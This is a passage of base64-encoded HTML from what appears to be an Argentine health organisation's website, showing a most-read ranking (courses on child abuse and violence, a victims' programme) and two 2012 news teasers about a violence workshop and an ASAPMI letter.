ICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KIC